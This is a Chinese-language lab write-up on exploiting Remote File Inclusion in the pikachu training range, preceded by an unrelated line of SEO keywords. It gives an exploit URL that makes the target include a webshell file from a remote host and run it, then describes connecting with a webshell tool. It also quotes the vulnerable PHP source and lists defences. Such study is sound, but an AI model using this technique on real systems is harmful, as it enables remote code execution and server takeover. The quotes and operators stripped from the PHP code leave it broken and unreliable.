做网站流量点击分析的软件,长沙网页设计公司,网络技术有限公司是什么,wordpress能外链的主题Ⅱ.远程文件包含
远程文件包含漏洞#xff08;Remote File Inclusion, RFI#xff09;是一种Web应用程序漏洞#xff0c;允许攻击者通过URL从远程服务器包含并执行文件#xff1b;RFI漏洞通常出现在动态包含文件的功能中#xff0c;且用户输入未经适当验证和过滤。接着我…Ⅱ.远程文件包含
远程文件包含漏洞Remote File Inclusion, RFI是一种Web应用程序漏洞允许攻击者通过URL从远程服务器包含并执行文件RFI漏洞通常出现在动态包含文件的功能中且用户输入未经适当验证和过滤。接着我们也是根据pikachu靶场中的远程文件包含相关漏洞页面进行漏洞说明
1.打开页面后发现页面出现提示环境中的allow_url_include开关并没有开启这里需要我们手动进行开启。 开启方法在小皮面板中找到php对应的配置文件选择当前站点使用的php版本笔者此处所使用的版本为php5.6.9。 点击对应版本后就会出现php相关配置文件--php.ini这个时候我们直接去找allow_url_include开关并将其开启即可 修改后我们重启下当前所使用的中间件即可。至此靶场就可以正常使用了 php.ini中的allow_url_include参数究竟有什么用呢 allow_url_include 是 PHP 中的一个配置指令它决定是否允许在 include、include_once、require 和 require_once 语句中使用 URL 进行远程文件包含默认情况下该选项是禁用的以防止远程文件包含RFI漏洞。这意味着 PHP 脚本可以通过指定一个远程文件的 URL 来加载并执行该文件的内容。 大概了解完后我们就来阐述一下该漏洞需要我们如何去进行利用
1.首先远程文件包含漏洞的初始页面与本地文件包含的初始页面是一样的此时我们随机选择一个球星进行查询整体页面如下 可以看到url上已经文件的相对路径显示出来了此时我们尝试将url中的文件路径改为hosts文件的绝对路径查看效果可以看到与本地文件包含不同的是这个时候我们使用绝对路径文件的内同也可以被正常包含。 那么因为我们已经开启了allow_url_include开关所以此时是允许我们直接包含远程主机中的文件的这边我开一个虚拟机再实际环境中就需要使用自己的公网服务器了虚拟机的IP为192.168.8.129并且开启了apache服务这个时候我在apache服务的根目录创建一个编写有一句话木马的txt文件 接着我们将包含的文件途径修改文此时访问该txt文件的url修改后的我们让我的URL为
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filenamehttp://192.168.8.129/Remote_shell.txtsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
接着使用WebShell连接工具进行连接连接成功 至此漏洞利用成功。接着我们也是按照惯例查看源码对漏洞进行剖析
$html1;
if(!ini_get(allow_url_include)){$html1.p stylecolor: redwarning:你的allow_url_include没有打开,请在php.ini中打开了再测试该漏洞,记得修改后,重启中间件服务!/p;
}
$html2;
if(!ini_get(allow_url_fopen)){$html2.p stylecolor: red;warning:你的allow_url_fopen没有打开,请在php.ini中打开了再测试该漏洞,重启中间件服务!/p;
}
$html3;
if(phpversion()5.3.0 !ini_get(magic_quotes_gpc)){$html3.p stylecolor: red;warning:你的magic_quotes_gpc打开了,请在php.ini中关闭了再测试该漏洞,重启中间件服务!/p;
}
这段代码旨在检查PHP配置中的几个关键设置并在特定条件下显示警告消息
使用 ini_get(allow_url_include) 检查 allow_url_include 设置。如果返回值为 false表示该设置未开启。allow_url_include开启其实就是此处远程文件包含漏洞产生的主要原因上面有说过了此处就不做过多赘述了。
使用 ini_get(allow_url_fopen) 检查 allow_url_fopen 设置。如果返回值为 false表示该设置未开启。allow_url_fopen 决定是否允许通过 fopen()、file_get_contents() 等函数访问 URL默认情况下allow_url_fopen 是启用的这意味着 PHP 脚本可以通过这些函数从远程服务器读取文件内容。
allow_url_include 依赖于 allow_url_fopen。换句话说如果你想启用 allow_url_include首先需要确保 allow_url_fopen 也是启用的。
使用 ini_get(magic_quotes_gpc) 检查 magic_quotes_gpc 设置。如果返回值为 false表示该设置未开启。magic_quotes_gpc 是 PHP 中的一个配置选项用于自动对来自 GET、POST 和 COOKIE 的输入数据进行转义。具体来说它会自动在某些特殊字符如单引号 、双引号 、反斜杠 \ 和 NULL 字符前添加反斜杠。如果magic_quotes_gpc是开启的则攻击无法成功因为我们指定的带有木马的txt文件的url中带有反斜杠被转义后的反斜杠就会被当成一个字符看待。
检查完成后造成文件包含的关键代码与本地文件包含的相关代码并无区别都是接收客户端传来的文件路径url并进行包含。
//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html;
if(isset($_GET[submit]) $_GET[filename]!null){$filename$_GET[filename];include $filename;//变量传进来直接包含,没做任何的安全限制
}
防范文件包含漏洞的方法
1. 输入验证和过滤
对所有用户输入进行严格验证和过滤确保文件名是合法的并且不包含任何恶意字符或路径遍历字符如 ../。
2. 禁用远程文件包含
在 php.ini 中禁用 allow_url_include 和 allow_url_fopen以防止远程文件包含。
3. 设置正确的文件权限
确保 Web 服务器仅对需要访问的文件和目录具有读取权限防止攻击者访问不必要的文件。
4.使用最新版本的 PHP
始终使用最新版本的 PHP因为它包含了最新的安全补丁和功能可以帮助防范已知的安全漏洞。